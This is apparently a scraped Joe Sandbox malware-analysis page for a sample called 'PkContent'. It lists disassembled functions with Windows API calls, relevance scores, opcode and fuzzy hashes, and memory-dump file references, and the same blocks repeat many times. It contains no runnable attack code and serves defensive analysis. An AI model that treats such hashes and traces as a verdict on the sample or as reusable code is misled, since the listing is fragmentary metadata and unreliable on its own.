Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
